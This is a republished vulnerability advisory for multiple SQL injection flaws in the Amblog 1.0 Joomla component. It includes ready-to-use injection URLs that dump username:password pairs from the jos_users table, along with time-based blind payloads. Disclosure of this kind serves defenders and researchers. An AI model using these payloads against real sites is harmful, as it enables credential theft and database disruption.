Amblog 1.0 Joomla Component Multiple SQL Injection Vulnerabilities

2011.10.13
Risk: High
Local: No
Remote: Yes
CWE: CWE-89


CVSS Base Score: 7.5/10
Impact Subscore: 6.4/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

Amblog 1.0 Joomla Component Multiple SQL Injection Vulnerabilities Name Amblog Vendor http://robitbt.hu Versions Affected 1.0 Author Salvatore Fresta aka Drosophila Website http://www.salvatorefresta.net Contact salvatorefresta [at] gmail [dot] com Date 2010-08-10 X. INDEX I. ABOUT THE APPLICATION II. DESCRIPTION III. ANALYSIS IV. SAMPLE CODE V. FIX I. ABOUT THE APPLICATION ________________________ Amblog is a simple blog engine for Joomla CMS. II. DESCRIPTION _______________ Some parameters are not properly sanitised before being used in SQL queries. III. ANALYSIS _____________ Summary: A) Multiple SQL Injection B) Multiple Blind SQL Injection A) Multiple SQL Injection _________________________ Some parameters, such as articleid and catid, are not properly sanitised before being used in SQL queries.This can be exploited to manipulate SQL queries by injecting arbitrary SQL code. B) Multiple Blind SQL Injection _________________________ The articleid parameter is not properly sanitised before being used in SQL queries. This can be exploited to manipulate SQL queries by injecting arbitrary SQL code. IV. SAMPLE CODE _______________ A) Multiple SQL Injection http://site/path/index.php?option=com_amblog&view=amblog&catid=-1 UNION SELECT @@version http://site/path/index.php?option=com_amblog&task=article&articleid=-1 UNION SELECT 1,CONCAT(username,0x3a,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,1 8,19,20,21,22,23,24,25,26,27,28,29,30,31 FROM jos_users http://site/path/index.php?option=com_amblog&task=newform&catid=-1 UNION SELECT 1,CONCAT(username,0x3a,password) FROM jos_users http://site/path/index.php?option=com_amblog&task=editform&articleid=-1 UNION SELECT 1,CONCAT(username,0x3a,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,1 8,19,20,21,22,23,24,25,26,27,28,29,30,31 FROM jos_users http://site/path/index.php?option=com_amblog&task=editcommentform&articl eid=-1 UNION SELECT 1,CONCAT(username,0x3a,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,1 8,19,20,21,22,23,24,25,26,27,28,29,30,31 FROM jos_users http://site/path/index.php?option=com_amblog&task=savenewcomment&article id=-1 UNION SELECT 1,CONCAT(username,0x3a,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,1 8,19,20,21,22,23,24,25,26,27,28,29,30,31 FROM jos_users http://site/path/index.php?option=com_amblog&task=saveeditcomment&articl eid=-1 UNION SELECT 1,CONCAT(username,0x3a,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,1 8,19,20,21,22,23,24,25,26,27,28,29,30,31 FROM jos_users B) Multiple Blind SQL Injection http://site/path/index.php?option=com_amblog&task=editsave&articleid=-1 OR (SELECT(IF(0x41=0x41,BENCHMARK(9999999999,NULL),NULL))) http://site/path/index.php?option=com_amblog&task=delete&articleid=-1 OR (SELECT(IF(0x41=0x41,BENCHMARK(9999999999,NULL),NULL))) V. FIX ______ No fix.

References:

http://www.securityfocus.com/archive/1/archive/1/512975/100/0/threaded
http://www.exploit-db.com/exploits/14596
http://secunia.com/advisories/40932
http://adv.salvatorefresta.net/Amblog_1.0_Joomla_Component_Multiple_SQL_Injection_Vulnerabilities-10082010.txt


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